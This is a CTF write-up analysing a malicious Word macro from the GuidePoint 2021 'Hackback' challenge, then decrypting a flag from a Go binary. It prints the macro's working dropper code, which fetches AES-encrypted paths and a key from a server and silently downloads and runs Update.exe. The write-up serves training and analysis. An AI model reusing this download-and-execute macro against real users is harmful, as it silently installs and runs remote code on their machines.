GuidePoint Security CTF 2021 - Hackback (pwn)

5 minute read Published:

Writeup for the Guidepoint 2021 CTF Hackback 2 pwn challenge

Guidepoint Security CTF 2021 - Hackback (1 &) 2 (pwn)

This challenge is a little odd for me since I found the flag for part 2 but despite spending considerable time, never found the flag for part 1 of this challenge.

For this challenge we get a .doc file (So ye olde MS Word format, none of that fancy new .docx stuff.) as well as a web page, which does not seem to do much for us yet.

We quickly find this document contains macros, and using oledump.py we can extract the macro code.

The macro does some setup (like installing the .NET framework) but we’ll skip to the meat and potatoes of it;

Sub begin()
Dim campaign As String
Dim gofolderenc As String, sl As Integer
Dim k As String, go As String
    sl = 1
    campaign = "7"
    Sleep sl * 1000
    gofolderenc = reqcreate(campaign, sl)
    k = initialize(gofolderenc)
    go = localpath & " " & gokey
    CreateObject("Wscript.Shell").Run go, 0, True
End Sub

We’re setting a “campaign” and “sl” variable and running a reqcreate function. Let’s have a look at that one.

Function reqcreate(campaign As String, sl As Integer) As String
    Dim folder As String
    Dim loc As String, r As Object, url As String
    h = ""
    p = "55555"
    loc = "/create.php?c=" & campaign & "&s=" & sl
    Set r = CreateObject("WinHttp.WinHttpRequest.5.1")
    url = "http://" & h & ":" & p & loc
    r.Open "GET", url, False
    r.Option(0) = "Req Trick Agent v1.0"
    r.Option(4) = 13056
    r.Option(12) = True
    reqcreate = r.ResponseText
End Function

It looks like we’re making some request to our web server with the variables we set earlier. I’m not sure what r.Option(0) is, but that looks like it might be a User-Agent string so we’ll include that in our request. (As it turns out you need to set the user-agent or the web server will give you an error.)

The s parameter was used for a “sleep” before so I guessed the same would be true here and I just set to to 1 for my request. This turned out to work fine.

We now also have the value for gofolderenc (pU7T0iHVMZ5yAAaRp28mLafu/+FaRDzm7ypRqFA4YtODp77t8s+BAzU4DnTAf2XP in our example) and we can continue looking at the initialize function:

Function initialize(gofolderenc As String)
    pw = "2jce3LsR9khUon5dLu2F1DlDDK5np1xP"
    keyfolder = "iDGJoEgNHt3DnfrGfcIVY1o/ytcANZVWq8167WFIc00uhfnYPcY673/E4mgGFeNh"
    iv = "Y21FR2lTdTE5Mk5OODBMaQ=="
    gokey = reqkey(keyfolder)
    gofolder = DecryptString(pw, iv, gofolderenc)
    initialize = reqfile(gofolder)
End Function

We have some variables that look like they will be used for some decryption but let’s look at the reqkey function first:

Function reqkey(folderec As String) As String
Dim folder As String
Dim loc As String, r As Object, url As String
folder = DecryptString(pw, iv, folderec)
loc = "/" & folder & "/Key.txt"
Set r = CreateObject("WinHttp.WinHttpRequest.5.1")
url = "http://" & h & ":" & p & loc
r.Open "GET", url, False
r.Option(0) = "Req Trick Agent v1.0"
r.Option(4) = 13056
r.Option(12) = True
reqkey = r.ResponseText
End Function

It seems like we cannot avoid that DecryptString function after all so let’s take a look at that then;

Attribute VB_Name = "DCString"
Function DecryptString(pw As String, iv As String, ci As String) As String
Dim text As Object, symmetricKey As Object, ivb As String
Dim abc() As Byte, final() As Byt
eSet text = CreateObject("System.Text.UTF8Encoding")
Set symmetricKey = CreateObject("System.Security.Cryptography.RijndaelManaged")
ivb = Decode64(iv)
With symmetricKey
        .key = text.GetBytes_4(pw)
        .iv = text.GetBytes_4(ivb)
        .Padding = 2
    End With
    abc = B64Decode(ci)
    final = symmetricKey.CreateDecryptor().TransformFinalBlock(abc, 0, UBound(abc) + 1)
    DecryptString = Decode64(B64Encode(final))
End Function

Now this may look a little daunting but anyone familiar with some common cryptography functions will probably see what’s going on here. It’s just doing base-64 decoding and AES in CBC mode. We can kindly ask cyberchef to do these steps for us since we have all the parameters we need now. The decrypted value is z5q7BWy3EGQ1UhteLbRmZKVKlzcsCQbQ so now we just need to fire another http request at our web server for /z5q7BWy3EGQ1UhteLbRmZKVKlzcsCQbQ/Key.txt and we have our gokey variable value. (It was dIOHgWh2IocX7YRsP8P6RyxbAbwCm9tl in our case.)

Now we know how to decrypt things we can also easily decrypt our gofolderenc variable from earlier, which turns out to be SMfAvSWKU267Pz220M93czk0TMJrSQU8

The reqfile function is pretty much the same as reqkey except we now grab a file called Update.exe. Way back in our begin function we can see that this binary will be launched with the gokey variable as its first and only parameter.

The macro code does some cleanup of the binary after that, but nothing that we’re too terribly interested in, so let’s take a look at this binary in Ghidra next.

Reversing golang binaries can be a little tricky but starting at the main.Main function (the entry point for a golang binary) we see a little checking if there’s an argument given (or gokey that was passed to it before) and then it just sleeps for a long time before calling the main.CBCDecrypter function.

Again, go binaries are a little rough in Ghidra, but looking trough the code for this CBCDecrypter function I found another base64 string in the program. I did not find an IV in the go binary but guessed that it might be the same as before and it turned out that was correct, so I did not need to look for it further. Decrypting this with our gokey argument that was passed to the binary we get our flag for part 2.